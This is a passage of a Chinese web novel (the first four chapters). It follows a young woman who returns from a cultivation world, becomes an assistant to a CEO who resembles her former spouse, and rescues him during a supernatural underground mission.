《被我渣过的阴间男主反穿开盒了》 1. 第 1 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 林北柔抬头看向初夏湛蓝如洗的天空,微风吹来,送来石楠花的气息。 林北柔哕了一声,一边干呕一边逃跑。 她刚刚从胜身洲穿回来一个月,每天啥也不干,除了发呆就是睡觉,灵魂穿过去三百多年,在现世也只是莫名其妙睡了一觉而已。 她死遁了,身体在司空晏眼前化为了碎光,现在她和司空晏是生离死别。 也不知道那个阴间祖宗是什么反应,会不会夷平了胜身洲。 林北柔担心其他无辜的人被他迁怒,但也爱莫能助。 醒来第一天,林北柔把自己关在房间里一整天,到了晚上才推门出去,刚走到客厅就看到她老妈在吃零食,老一辈吃东西不讲究,会吧唧嘴。 林北柔一听到那刺耳动静,立刻捂住耳朵逃回房间,砰一声甩上门,应激地缩在墙角,掌心把耳朵都压扁了,两边胳膊肘都碰到了一起,一边歇斯底里地尖叫。 应激反应让林北柔这才有种回到现实的感觉。 平复后,她像蔫透了的盆栽一样两眼无神走了出去,耳朵里多了一副耳塞,老妈已经没有在吃东西了,小心翼翼大气不敢出地望着她,眼里写满担忧。 “妈,我想搬出去住。”林北柔说。 她现在像个烂摊子,先搬出去住,对自己好也对家里人好。 林北柔从小到大都觉得自己比其他同学穷。 偏偏每一个见到她第一眼的人的反应,都在无时无刻不提醒林北柔,你可以靠脸吃饭。 林北柔没有过人的智商,也没有能来事的性格,除了一张脸,别的要什么都没有。 高中还莫名其妙得了幻视幻听,被医院诊断为精神分裂。 林北柔坚称自己没病,老妈硬要让她吃药,林北柔觉得所有人都要害她,上学时揣着利器,被老师搜了出来。 “被害妄想,典型的阳性症状。”医生说,建议林北柔住院观察。 林北柔在精神病院住了四个月,却根本无法关上那些幻听,导致得了严重的恐音症厌音症。 之后亲爹上班时意外猝死,林北柔的症状更是严重到无法出门的地步。 老妈把她接回了家,有一次逮到林北柔居然想弄破自己耳膜,以为聋了就听不到那些声音了。 老妈当场哭了,哭声终于唤回了林北柔一点清醒。 转机在第二天清晨。 那天林北柔醒来,没有听到那些杂音,一切是那么正常,那么安静,只有清晨的鸟鸣,和阳光的味道,旋即林北柔听到一个幼幼嫩嫩又一本正经的声音。 “宿主,你被选中了,如果你同意去另外一个位面完成一个任务,任务成功后,再返回现世,你的幻听和幻视会被全部治好,你的人生也会变得正常。” 林北柔一开始以为自己终于疯了,直到那个幼嫩的声音给她展示了客观的超自然力量。 林北柔答应了这个声音,完成了任务,回到了现世。 幻听幻视消失了,世界终于清净。 除了有恐音症这种后遗症,还有穷得叮当响以外,生活第一次有了希望。 老妈听说她要搬出去不同意:“家里还背着房贷,你又需要静养不能上班,哪里来的钱付房租,再说你出去后谁来照顾你,我怎么放心。” 如果亲爹还活着,房贷早就还完了,现在房贷还要拖个六年。 姥姥姥爷年纪也大了,照顾老人的担子就落在了老妈身上,老妈自己也五十多了。 林北柔:“我要找工作,我去上班,自己付房租,你不用照顾我,照顾好你自己。” 老妈听到林北柔主动说要找工作,简直不敢置信,女儿居然愿意接触社会了。 老妈高兴地哭了,大力支持林北柔开始找工作,还想找熟人介绍轻松的工作,被林北柔拦住了。 她空档期太久了,以前病时好时坏时断续打的那些零工一点含金量都没有,本专业实习经验为零,需要坐办公室的简历投出去石沉大海。 林北柔没辙,干脆拍了一组正面照侧面照,投了一些招模特招直播博主的公司。 这下子电话被打爆。 保守起见,林北柔去了个招试衣人员的工作室,结果当天一天试了五十套衣服,差点没累死。 身处人多眼杂中午还有盒饭的工作场所,她的恐音症又发作了。 林北柔跟老板道了歉,说明了自己的情况,第二天可能来不了。 老板是个很好的大姐姐,高学历自己转行创业,看着她的脸特别可惜的样子:“这样吧,你照片留我这儿,如果有适合你的工作,我再找你。”林北柔再三感谢了老板。 当天晚上回去时,经过了最繁华的商区。 步行街奢侈品密度过高,阶级差造成的空气让人呼吸困难。 “世界上有钱人那么多,多我一个又怎么了?”林北柔叹了一口气。 林北柔不想努力了,今天晚上只想犒劳自己。 她直奔附近一个进口超市,打算回家开启刷剧模式,找工作的事明天再说。 等进了商场,林北柔拿了个小推车,就迷失在了琳琅满目的货架走廊。 手机忽然推荐了好几篇“逛超市偶遇前男友”帖子,林北柔点了进去。 评论区不少人现身说法,称自己永远最不修边幅时遇到前任,最尴尬的是前任还带着打扮精致的现任。 林北柔:幸好我前任在另外一个位面。 不知道她走了之后,司空晏会不会找下一个道侣? 应该不会,那祖宗过于阴间了,林北柔至今都想不明白她哪点入了祖宗法眼。 推着车走过转角,面前出现一个人。 他站在货架前正在看商品,侧对着林北柔。 黑鬒鬒的头发,侧颜似真似幻,不是那个祖宗是谁。 林北柔以为自己出现了幻觉,当场被雷劈了一样动不了。 等意识到对方是真人,林北柔本能想转身就跑,脚却灌水泥一样不能动,只看到旁边一个像是助理的男士说:“魏总,那边又打来电话了,想安排您和孙家的千金相亲……” 对方眼皮也不带抬:“不用理。” 声音和司空晏一模一样。 林北柔这一愣就慢了半秒,对方无意间侧过身看到了她,视线在她脸上一掠,十分普通地就移开了,根本没有注意到她。 林北柔:“……” 等对方和助理离开了,林北柔还站在原地,十分茫然。 刚刚那个人如果是司空晏,早就上来撕了她了吧。 都结为道侣了,结果她死遁了,欺骗了司空晏,那阴间祖宗记仇入骨,不可能放过她。 所以对方只是一个和司空晏皮相一样的普通人? 短发,气质也完全不同。 林北柔缓过神,渐渐镇定。 去了胜身洲之后,她见识了很多奇奇怪怪的事情和人,大千世界无奇不有,其他位面有长得一模一样的人没什么稀奇,相当于造化出了bug,不小心两个人同模了。 但林北柔心情还是遭受了巨大冲击,晚上失眠,第二天十一点才被手机吵醒。 昨天的老板姐姐打来了电话:“小林,你身份证上的生日就是你真实的出生时期吗?” 林北柔睡眼惺忪:“是啊,姐。” 老板姐姐:“这边有个特别好的工作,我朋友的朋友是那家公司的人事,他们在招人,老板要求要看八字,我把你简历发过去了,算是内推,他们想安排一下面试,你看你这边什么时候方便。” 林北柔从床上跳了起来。 - 被带到了最高合伙人办公室时,林北柔看到了沙发上坐的那个人,呼吸瞬间暂停。 魏瑕正在翻阅文件,抬头看到了林北柔。 助理对他说:“魏总,面试的人来了。” 魏瑕直视着她,眼形和司空晏一样,瞳眸反射着窗外的阳光,像小石潭记一样清澈直白。 和司空晏黑黝黝的阴间眼神完全不同。 在助理引导下,林北柔过去沙发对面坐下。 魏瑕三言两语进入正题:“我看了你的简历,现在先介绍一下公司这边。” 他说什么林北柔基本没听清,只听见了几个重点。 她应聘的职位是他的助理,平时工作内容是帮忙收发消息,整理信息,安排日程。 林北柔大学学的工商管理类,万金油专业,同学们毕业大都做的人事工作,这个职位和她专业倒也契合,就是她因为病情耽误了一年,差点没拿到毕业证,没有相关工作经验。 这就说明,魏瑕对八字的要求,是凌驾于工作内容本身之上的。 魏瑕:“你还有什么问题吗,有的话可以直接问我。” 林北柔:“您为什么对八字有要求呢?” 魏瑕没有遮着藏着:“这个工作会接触到一些脏东西,需要八字硬的人,上一个助理八字不行,经常生病倒霉,已经安排他转岗了。” 林北柔点点头。 魏瑕很坦率直白,林北柔也不能隐瞒事实。 "魏总,其实……我有一点恐音症,吃饭的时候恐怕只能自己一个人吃饭,或者戴上耳塞。"林北柔如实相告。 当然她还没那么傻把自己曾经被诊断为精神分裂说出去。 魏瑕并不吃惊也不觉得这是个问题:“你可以戴耳塞,我有时也会戴。” 林北柔松了口气:“嗯,我没有其他问题了,我随时可以到岗。” 魏瑕看了林北柔一眼。 普通人一听到脏东西都会很忌惮,哪怕薪水很高也会因为害怕自己生病倒霉得不偿失,放弃这份工作。 林北柔却只在意恐音症这种小问题。 魏瑕一脸平淡地说:“我需要你的医学出生证明,确认生日真实性,八字具有私密性,我个人的身份证和户口籍贯本也在这里,每个录用的贴身助理我都会给他们看,你可以记一下我的八字。” 林北柔确信了这个工作确实很特殊,于是也认真去看魏瑕的资料,他身份证上居然比她大一岁,就是说她还没出生,魏瑕就已经出生了,嗯,是九月底生的,户口籍贯都是本地人,平平无奇,户口本上只有他一个人。 林北柔回家后,找到了出生医学证明,发给了魏瑕,又给老板姐姐回了个电话,表达对她的感谢,说请她吃饭。 老板姐姐爽快道:“你今天有 2. 第 2 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 林北柔拿着手机去找宁特助,没找到人,她问走廊上守着的保镖宁特助在哪里,身高铁塔一样的退伍兵保镖大哥低头看着林北柔,正要告诉她,旁边响起魏瑕的声音:“发生什么事了吗?” 林北柔转过去,魏瑕到了酒店又睡了半个小时,这时刚醒,衣服穿戴整齐,表情是省电模式的清冷,但左边有一簇头发有点翘起,在保镖大哥的衬托下,林北柔想起老板姐姐说人事形容魏瑕,说他长得像那小说里的王储殿下一样。 听起来很土狗很浮夸,林北柔都哆嗦了一下,但现在看到魏瑕的样子,不禁承认见了魏瑕本人,就知道这个形容很贴。 司空晏现代短发的样子,原来是这种感觉。 林北柔:“一位自称孙芮晗的女士说她和B组单位一起过来了,半个小时后到,让我转达给宁特助。” 林北柔根本不知道B组单位是什么,只知道是项目里分工不同的团队,她问过宁特助,宁特助说她到时候到了现场就知道了。 魏瑕眉头轻皱了一下,但很快展开,在他看来这些问题都不值得在意,他的重点在工作上,直接给宁特助打了个语音,正在跟其他人开会的宁特助匆匆过来了,知道了情况,宁特助:“魏总,那我去接他们。” 魏瑕言简意赅:“今晚我不见其他人,让B组负责人到了过来见我。” 宁特助点点头,随后就离开了。 魏瑕问林北柔:“你吃饭了吗?” 宁特助告诉过林北柔,酒店餐厅有自助餐,饿了可以去吃,但林北柔算是贴身助理,刚工作第一天得保持原地待命,不好擅自离开,所以一直等着魏瑕的。 林北柔据实相告:“没有。” 魏瑕看了看时间:“那你陪我一起吧。” 林北柔松了口气,魏瑕没有去餐厅,她很庆幸,也不知道是不是魏瑕考虑到了她的恐音症,林北柔觉得自己要是这样想,有点自作多情,可能是魏瑕自己也不想去餐厅吃饭。 魏瑕在前面看了她一眼:“你等下可以戴耳塞,我吃饭时不会聊工作的事情。” 林北柔顿时小小地尴尬了一下,魏瑕还真是为她考虑了才让酒店工作人员送餐上来的。 林北柔解释:“我不需要耳塞。”停了停,她又厚着脸皮加了一句:“魏总不嫌弃我麻烦就行。” 魏瑕看了她一眼:“嗯,我吃饭不会发出声音的。” 林北柔心头紧绷的一根弦顿时慢慢放松了,酒店人员很快送餐来了,精致可口的四菜一汤,有公勺公筷,水平明显不是大堂自助餐,是按最高接待规格做的私房菜,林北柔等魏瑕先动筷,魏瑕拆了一双没用过的筷子先递给她:“先吃吧。” 吃饭时,魏瑕果然没有发出任何声音,连勺子筷子磕碰到碗的声音都没有,光是这一点百分之九十九的人都做不到。 林北柔心里叹息一声,她已经很久没和人这样同桌吃饭,还神经松弛不紧绷了,就算在家里,也是她自己一个人在房间里吃,老妈在客厅吃的。 有时林北柔觉得烦躁,有时又觉得愧疚,老妈见她难受,让她别折磨自己了,这些症状又不是她自己愿意的。 和魏瑕吃完,魏瑕按铃,酒店人员收拾好餐盘,推着推车出去了,这一餐林北柔只能用一组词来形容,清净,凉快,自在。 魏瑕就在她对面,却像透明空气一样不昭彰存在。 能这样尊重下属的上司,抛开下属身份,林北柔觉得她会心甘情愿尊重魏瑕本人。 林北柔恐音症严重的时候,甚至不能接受朋友跟她分享食物照片,甚至看到关于吃饭的字眼都ptsd,以至于很长一段时间她都断绝了手机社交。 酒店门口,一辆高端车型和一辆商务中巴前后停下,中巴上陆续下来的是B组全体组员,提上行李箱就去酒店里面了,高端车上下来两个人,一个是B组负责人,另一个是孙芮晗。 宁特助朝他们点头致意,相继寒暄过,孙芮晗问:“魏总不在吗?” 宁特助说:“魏总正在忙,我安排您跟B组组员们一个楼层吧。”孙家本来也有参与项目,孙芮晗本身也有相关经验,孙家也透露过可能会让人来看看,但没想到来的是孙芮晗。 孙芮晗没说话,倒也没为难宁特助,跟进去办了入住,拿了房卡,宁特助带他们去餐厅包厢用餐,之后送孙芮晗回房间。 孙芮晗看向宁特助:“魏总新招了一个助理?” 宁特助点点头:“是的,姓林,以后您称呼林助理就行。” 孙芮晗:“以前你们不是只招男助理吗,这个林助理是内推过来的?” 宁特助笑了笑,没有多说:“是的。” 孙芮晗觉察出了宁特助礼貌的距离感,也不再多问了,她知道圈子里有不少世家想和魏家结亲,姓林的世家好像没怎么听说过,起码华东区华中区没有,大概是边远省份的吧,孙芮晗是海市人,从小到大长在海市,对外省说不上瞧不起,但也有淡淡的不自知的优越。 宁特助:“那我先告辞了,您早点休息。” 宁特助隔了一段距离,目送孙芮晗进了房间关上门,才转身低声让B组负责人跟着他去见魏瑕。 B组负责人:“宁特助,是孙老安排孙小姐进B组的,我说要跟魏总报备一声,他是项目总负责人,孙老说等到了他给魏总打电话……” 宁特助:“魏总不会怪你的,这事你不用管了。” B组负责人松了口气,他们只是下级,夹在这些世家中间还真是左右为难。 孙芮晗认识酒店里的管理层,打电话问了他,知道魏瑕是在房间里用餐的。 “魏总一个人吗?” “魏总的助理也在房间陪他用餐。” 孙芮晗挂了电话,深深皱起眉,宁特助在开会,陪魏瑕用餐的显然是新来的助理,魏瑕不会跟助理一起用餐,连宁特助都很少有这个待遇,说明新来的助理很大可能就是世家内推来的,魏瑕很重视。但对方是什么身份,越得过孙家? 孙芮晗想了想,给助理专用手机打了过去,不出所料,是那个声音很清澈很有辨识度的新助理接起来的:“您好,这里是魏总的助理。” 孙芮晗说:“我来了例假,忘了带卫生巾,你可以帮我去买两包吗,待会送到我房间来。” 林北柔微微愣了下,她是魏瑕的私人助理,不是孙小姐的,对方这种命令可以说是越界了,但对方据说是大家千金,不至于针对她一个小助理吧。 推测对方另有目的,林北柔礼貌回复:“您稍等。”旋即不给对方发挥机会,直接挂了。 林北柔拨打了酒店内线,向他们说明了情况,不一会,一个女性工作人员带着一个小提袋,里面装着两包夜用和日用,敲响了孙芮晗的门。 孙芮晗打开门,看到了笑容可掬的酒店工作人员,顿了顿,把袋子接过去。 算了,明天反正能见到的,不过孙芮晗觉得对方似乎不是那么好拿捏,也不知道是不是魏瑕传授的态度,心情值下降了两分,片刻后孙芮晗失笑,她跟一个助理计较什么,万一对方只是声音好听,长相平平呢,很多声音特别好听的女生,不都貌若无盐吗。 再说孙芮晗自己是有真本事在身上的,能加入B组,光靠孙家也不行,助理就只是助理罢了,像宁特助,地位再高,不也只是个普通人吗。 孙芮晗想通了这一点,安心地去睡觉了。 早上八点,林北柔穿戴整齐,跟宁特助一起等魏瑕,魏瑕今天没穿西装,换了身适合爬山的休闲服,带上两个助理坐上专车,后面跟着多辆越野车和厢型车,阵仗挺大的,林北柔没仔细看,一行人浩浩荡荡进了后山,来到了个平地,全部下车。 平地上早就搭好了帐篷,还有各种仪器设备,感觉不像是露营,更像来搞地质勘探的,外面拉了隔离带,还有标识牌,林北柔忽然意识到,他们进的是禁止开发区。 这个项目居然是特许可以进无人区的? 一个穿土色制服皮肤黝黑的中年人过来了,看样子和魏瑕很熟,招呼也省了,直接汇报:“里面全部清理干净了,所有真菌彻底杀灭,下去就可以作业,不过以防万一,还是得戴面具,免得吸入残余孢子。” 宁特助跟林北柔介绍了句:“他是A组负责人,等下打交道叫他郭工就行。” 林北柔看了下A组的人,全都是和郭工一样的打扮,有的身上穿戴的专业设备还没脱下来,一个个都汗流浃背的样子,以身体强壮皮肤粗糙的男性居多,有少数两三个女性,也是身体素质比普通女性强悍很多的类型,他们有的把沉重器材运回营地,工作扫尾,有的在休息,或坐或站,好奇地朝她看过来,可能是因为她是新人的缘故。 林北柔因为 3. 第 3 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 林北柔觉得自己好像被迁怒了。孙芮晗那个眼神有点轻蔑,像在看想靠脸上位的捞金女。 宁特助十分稳重,对林北柔说:“小林,你是魏总一个人的助理,除了他的话,别的人说什么你都可以无视。” 林北柔:“我听魏总和您的。” 宁特助对林北柔的印象更好了。 除了B组,现场还有C组,看起来跟普通工作人员无异,穿得最低调,模样最不起眼,人数也不是很多,林北柔也不知道他们负责什么工作的,但他们手里拿着的器材让林北柔想到建筑行业的工程师。 C组负责人也过来找魏瑕了:“魏总,这次上头指示,让我们多带了几个毕业生,都是潼大的,以后都进C组工作。” 潼大是一所很低调的老牌大学,里面有专门学院的特定专业,为他们这一特殊行当输送人才,是上面特批的,择其优录用,一毕业就直接进保密单位工作。 C组这几年折损的组员有点多,主要是接触底下东西多了,都是普通人,不像A组和B组抗造,组员伤的伤,病的病,离开的不少。 C组负责人请示魏瑕:“我带他们过来给您看看?”主要是认个脸。 魏瑕要求对项目每个成员都要有所了解,不是所有人都有孙家那样的特权,能临时空降塞人过来的,再说孙家建国时就有功劳在身,孙家人怎么样都不可能泄密,所以孙芮晗过来,魏瑕没有直接赶人走,不是因为孙芮晗本人多优秀,而是因为孙家的信誉。 魏瑕面无表情:“让他们过来,我对一下名单。” C组负责人忙递上资料,让他助理把几个学生叫过来了。 大家都穿着防护服,透明面罩下露出一张张年轻的脸,有男生也有女生,全都不加掩饰自己的忐忑,看着魏瑕,等魏瑕问他们名字时,又都全部垂下眼神不敢发生直接对视,没有别的原因,虽然魏瑕也才比他们大一两岁,但那种久居上位者的气场太强了,像年轻的身体里住着一颗阅历远超实际年龄的灵魂。 偏偏魏瑕待人接物很简单省电,弄清楚他们叫什么名字后,问了几句简历背景,就没再多废话一句,学生们都松了口气。 只有一个长相很漂亮的男生对魏瑕没有怯场,当无意间看到林北柔时,他目光就锁在了林北柔脸上。 林北柔感觉到有人在看自己,抬头看了一眼是谁,觉得不认识对方,就没管了。 到了时间点,所有人整装出发,林北柔跟在魏瑕身后,沿着参天的原始森林走了不到十分钟,抵达了一个山洞入口,还能听见地下水的水流声,向导走在最前方,指挥在第二,接着是B组所有人,魏瑕他们反而在最后面,进了山洞后,一切变得很暗。 林北柔一开始有种去溶洞旅游的错觉,当他们越走越深,气温变冷,能见度范围只能靠探照灯,气氛就变得很压抑了,明明这么多人,却没有一个人讲话,林北柔一路上还看到了一些蓝滢滢的光,星河一样洒落在洞壁和地上,她不知道这是什么,看其他人都不说话,对这些奇异震撼的光视若无睹,就没有问。 洞穴里被清理过,有些地方经过人工开凿,不同分岔口还放了醒目的路标,是A组的工作成果,过了一个路口,向导开始说话了,跟他们介绍A组开发遇到的一些情况,气氛松了一丁点,其他人也偶尔会低声交流。 踩到一块特别湿滑的石头,林北柔虽然穿了防滑鞋,脚下还是不慎一个踉跄,朝前扑去。 一左一右两边各自伸出一只手扶住了她,左边那个是魏瑕,力气明显更大,牢牢抓住了她,林北柔重心靠在他身上重新站稳:“谢谢魏总。”这才朝右边看过去,居然是刚才C组看她的那个男生,林北柔也说:“谢谢啊这位同学。” 男生低声说:“林北柔,你不记得我了?” 林北柔看着对方:“啊?你是?” 男生:“我是周阆屿。” 林北柔费劲了五秒,终于想了起来,周阆屿是她高中同学,也是他们那附近几个学校都很有名的高岭之花,林北柔和周阆屿短暂同桌过,林北柔精神没出问题之前,也不知道自己怎么想的,脑子一抽跟他表白过,周阆屿没答应,不知道是哪个好事的把话传出去了,传的很难听,林北柔跟周阆屿还分别被找了家长,之后老师把他们调开了,周阆屿上了潼大,去了最好的专业,据说还在学校交到了很优秀的女朋友。 隔了这么久,林北柔回忆起自己高中的事,就像上网时无意中点进了一个未成年的社交账号,随便看了几条就觉得挺咯噔的,联想到自己也曾经这样,顿时更尴尬,赶紧退出去那种心情。 旁边响起了魏瑕的声音:“你们认识?” 周阆屿长得确实很漂亮不俗,身段也挺拔,放在任何顶尖大学都是校草级别,但跟魏瑕比,虽然大家都是人,不至于说是萤火之于日月,但说人外有人天外有天也绰绰有余了。 林北柔不介意自己小时候的黑历史,当时确实闹得挺难堪的,周阆屿无视谣言的高冷态度,也没有让她处境好到哪里去,其他同学都以为林北柔一直狂恋周阆屿,是因为被周阆屿拒绝了,精神受了刺激才休学的,造谣一直没有澄清过,林北柔高中唯一的好友一直为此特别气愤,林北柔记起了女孩那张气呼呼的圆脸蛋,后来女孩大学时出意外去世了。 林北柔眼睛都没眨一下,对周阆屿说:“不好意思啊,我生过病,很多事确实记不清了。” 这个解释很合理,魏瑕没有多在意也没有多看周阆屿一眼,他问这个问题,也只是周阆屿没有跟C组的人一起走,专门过来找林北柔,显得有点突出。 但周阆屿听到林北柔这么说,表情就很明显有了变化,年轻人再沉稳,情绪波动时也不大会隐藏。 林北柔没管周阆屿,继续跟着魏瑕走,身为助理,得像宁特助一样随时和上司保持上司说话就能听清楚的距离。 前方水声越来越响,地面出现明显向下的长长坡度,向导叫了暂停,林北柔看到前方有一条明显的人工分界线,界线另一边,那种蓝滢滢的光不再稀薄,而是像河流支流一样蜿蜒向不同的方向,前面空间更加开阔。 向导:“魏总,我们到分界线了。” 魏瑕走了过去:“后勤人员留在原地扎营等待,其他人跟我走。” 林北柔刚要跟,宁特助拦了下她,魏瑕侧过身看她一眼:“你留下。” 林北柔才意识到自己也算后勤人员,原来她真的是来凑个数组成那个人运矩阵的? 魏瑕很快走到最前面,带领大部队越过了分界线,他们的身影消失在某个方向的洞壁入口处。 看不到前方会发生什么,林北柔有点遗憾,等后勤人员扎好营地,宁特助和她坐在了小马扎上,营地灯照亮四周,林北柔终于有机会问了:“宁特助,魏总他们来这个地方是干什么的,有什么机密任务吗?” 宁特助也没瞒着她:“简单讲,就是来勘测风水,改风水的,A组负责重活,B组负责改风水方案和现场除祟,C组是看B组方案能不能实施,以及敲定后续施工的。” 林北柔刚才也大概猜到了,听了也不意外,要是普通的改风水,根本不会惊动当局:“改的是什么地方的风水啊,莫非是龙脉?” 宁特助笑了:“没有这种东西,应该说叫灵脉,灵脉遍布山川河流,古代人早就发现了灵脉,只不过一直是秘传下来的,普通人不知道,你就当是那种修真小说里写的灵脉吧。” 林北柔当然知道灵脉,这玩意在胜身洲就像活的地下矿脉一样,会滋生出各种资源,各种险之又险但天材地宝十分丰富的秘境。 宁特助说的灵脉应该没有胜身洲那么强悍,毕竟现世灵气挺稀薄的,也可能曾经丰饶过,但后边陨落了,形成了神话时代和人类历史的断档,只能从一些吉光片羽中窥见一点余辉。 林北柔:“为什么要改灵脉风水?” 宁特助:“现世灵脉被严重污染,不改风水净化灵脉,现世就会迎来末劫,现在频繁发生的地震就是征兆,可以想象一下有一天全世界的火山带同时喷发是什么场景。” 林北柔问:“那我们这些普通人为什么一定要下来呢,魏总说的人运矩阵是什么。” 宁特助:“大多数人接触灵脉久了,除非八字特别,都会发生很多倒霉事,严重的丧命都有,以前项目组不知道,折损了很多人,后来才有专门的师傅负责测算生辰八字天宫命 4. 第 4 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 林北柔按照平板上标的地图走了半天,除了地下水流,高深不见顶的穹顶,崎岖不平的路,还有无处不在的淡紫色反光,别的什么都没看见。 普通人抵达她现在的深度,已经去了半条命了,林北柔表现一切正常,就像一条天然适应海沟环境的深水鱼,周围那些淡紫色反光也没有对她怎么样。 就在林北柔怀疑自己是不是走错路了,前方一个拐角出现了一只鞋子。 林北柔认出这是B组组员的鞋子,马上过去转过拐角,前方黑得伸手不见五指,像有无尽虚空,林北柔将探照灯旋到最大,看到了从近到远倒了一地的人,还有地上横七竖八的法器,以及一些勘测风水的设备。 林北柔蹲了下来,伸手探向她脚边最近的一张脸,掀起面罩,两指放到对方鼻子底下,呼吸没了,眼睛还睁着。 林北柔抬高腿,小心下脚,一路过去,有的人死了,有的人呼吸微弱还活着。 到了最前面,林北柔先是看到一个极其壮观的断崖,比虎跳峡还大几倍,底下紫光炽盛,有非常大的水流声传来。 紫光的水位线已经和断崖平齐了,溢出了好一些,就像很多条小溪流,蜿蜒流动,凹凸不平的地面也染上了紫光。 断崖边的空地上,B组和C组的负责人躺在地上,再远一点是魏瑕。 林北柔三步两步赶到魏瑕面前。 魏瑕是靠在石壁上的,微微侧着脸,闭着眼睛。 林北柔松了口气,刚刚她发现,凡是死了的眼睛都是睁着的,活着还剩一口气的眼睛都闭着的。 她伸手试了试魏瑕的脉搏,脉象有点弱,这样持续衰弱下去,很可能后果不妙。 林北柔打算呼叫系统,自从约定兑现后,它就一直毫无动静,就像下线了。 系统说它也不知道自己是什么,只知道自己苏醒是为了守护这个世界,世界破破烂烂了,它就要忙着缝缝补补,让林北柔叫它系统只是方便称呼而已。 林北柔:“系统?系统?” 过了十多秒,没有动静,林北柔放弃了,拨动绳索上的装置,把消息传递给了宁特助。 现在她要把魏瑕拖出去,就地找了个应急的担架,把魏瑕拖到担架上,安全绳固定,再把安全扣锁到担架上。 就在这时,林北柔看到地上有个标记,明显是魏瑕失去意识前临时划的。 林北柔沿着标记指的方向看过去,那边倒了一台正方体的设备,说是设备,更像一个结合了现代制造技术的法器,林北柔观察了几秒,见没有异样,过去单膝蹲下查看。 这个法器上贴了一行标识:非XXXX禁止启用。XXXX被人涂黑了。 法器上面有个按键被打开了,旁边还显示了一个倒计时,只剩二十秒不到。 林北柔伸出手指,把按键关上,倒计时停止。 紫光变暗了一些,林北柔转过去。 不是错觉,刚刚还爆发闪烁的淡紫色,现在就像退潮一样慢慢退了回去。 要不是魏瑕留了标记,林北柔看到了,凑巧关上了法器,过饱和的紫光恐怕要酿成灾难。 林北柔环顾四周,发现了孙芮晗,她被B组当重点保护对象护着,还活着。 另外一边躺着C组组员,周阆屿也在里面,也没有死,林北柔准备先把魏瑕运送出去再说。 很快林北柔发现了一个问题,担架太宽了,地上横七竖八都是人,她根本没那个力气清理出一条路。 林北柔把魏瑕从担架上解下来,废了半天劲儿,把他背到了背上。 背着魏瑕刚站起一瞬,林北柔差点给压趴回去,别看魏瑕清瘦结实体脂率很低的样子,实际上一点不轻。 林北柔咬牙走了两步,一旦走起来就好多了,就是脊梁骨压得慌,魏瑕毫无知觉,脑袋垂在她肩膀上,下巴硌着她的肩窝,林北柔走一段,歇一段,比扛了一麻袋大米还累,中途双手抱着魏瑕的大腿,试图把他颠上去点儿,魏瑕大腿肌肉硬得跟什么似的,脑袋晃了晃,砸到了林北柔太阳穴。 林北柔:“……” 魏瑕的头发很软很密,扫在林北柔侧脸上有点痒,让林北柔想起她精神状况不好时,抱着睡觉的棉花娃娃的头发。 时间过去五十八分钟,林北柔背着魏瑕看到了分界线,宁特助一看到他们就冲了过来,所有人上前帮忙,七手八脚地把魏瑕抬下去急救,林北柔扶着膝盖,感觉自己的腰再也直不起来了。 宁特助见魏瑕情况稳定,长长松了口气,流露出些许虚脱感,林北柔一边喝水一边坐下。 宁特助询问林北柔下面的情况,林北柔把看到的全部说了。 后勤负责人把安全绳上的微型录像设备取下,插到笔记本上读取视频,当看到镜头第一视角,摇摇晃晃倒映出地上很多人时,脸色变得很难看,跑到一边吐了。 宁特助:“小林,你不怕吗?” 到这个时候,宁特助终于发现了林北柔的不同寻常。 别说跟她同龄的年轻人了,哪怕是大她一辈的人,在一地死人混着昏迷的活人中穿行,都绝对不会有她这样的平常心。 能做到这种程度,宁特助只见过真正上过战场的部队成员。 林北柔的履历很简单,宁特助也核实过,所以宁特助产生了一些必要的疑惑。 林北柔:“抱歉,宁特助,我之前没有跟你和魏总坦白过。” 宁特助心下一沉:“什么?” 他最不想要的可能性,是其他世家的人冒充了林北柔这个身份。 林北柔:“我以前被医院诊断精神病,现在我好了。” 宁特助:“?” 林北柔解释了几分钟,宁特助听完有种误以为对方是天才的无力感,怪不得林北柔对尸体表现得这么淡定。 外援赶到后,救出了所有存活的人,死去的人也被搬运了出来。 看着并排的一具具看不见脸的白色裹尸袋,林北柔才感受到生命的脆弱,两个小时前还是活生生会说会动的一个个人,现在就变成了只能火化的遗体。 新来的外援指挥叫魏抒培,逢人就笑,但没有一丝卑微感,反而周围人都对他毕恭毕敬的,跟对魏瑕差不多,他对地上的死人熟视无睹,三言两语指挥部下收拾现场,一切很快井井有条。 林北柔救了魏瑕,宁特助彻底将她看作了自己人,轻声跟她说:“魏先生的祖父和魏总的祖父是亲兄弟,魏家年轻一辈里职权最高的就是他了。” 林北柔明白了,大家族内斗,对方站在魏瑕的对立面,跟胜身洲那些宗门里争夺掌门之位一样。 现代社会不论科技多进步,血缘依然是利益捆绑的最好纽带,世家对付外人会一致,涉及到权力利益内斗,亲兄弟都能翻脸,何况隔了辈的。 魏抒培听说了现场情况,让人请林北柔和宁特助过去了。 对很多人都尊敬的宁特助,魏抒培笑着重重拍他肩膀:“老宁,能被灵脉接纳的,就有可能跟灵脉共鸣,得去基地参加实验,林助理就移交给我们,你先去管魏瑕那边。” 宁特助变了脸色,魏抒培的目光落在了林北柔脸上,有所停顿,然后就若无其事移开了,看向宁特助。 宁特助先不接他的话:“魏先生,这次事故蹊跷得很,现场有台不允许打开的法器被打开了,必须等目击证人醒了,马上启动事故调查,以免证据被销毁,所有人都要先留下来。” 魏抒培:“老宁,这次魏瑕是指挥,出这种岔子,他要负全责,上头肯定会先撤销他的指挥权,你想调查,也得按流程走,没空跟你说了,你去照顾魏瑕吧,人我先带走了。” 说完他朝两个部下示意,两个看上去是当兵的男人想带走林北柔,宁特助一个眼神,魏瑕留下的保镖大哥跟门神一样一左一右站到林北柔面前,四个兵哥沉默你瞅我我瞅你。 魏抒培抬起眼皮微笑:“老宁,你什么意思?” “魏部,魏瑕醒了!”有人急匆匆来报。 魏抒培顿了一顿,遭遇灵脉脉冲的人起码会昏睡八个小时,魏瑕居然短时间醒了,这还是有史以来第一例,宁特助抢过话头:“还是先过去看看,听听魏总怎么说。” 被所有人看着,魏瑕毕竟算他堂弟,魏抒培点了点头,暂时没去动林北柔,一行人一起去了魏瑕所在的临时安置帐篷。 林北柔看到魏瑕靠在单人床上,皱着眉,好像头很痛的样子,医护正在帮他检查,看到他们来了,医生对魏抒培说:“病人有点脑震荡迹象,其他没有问题。” 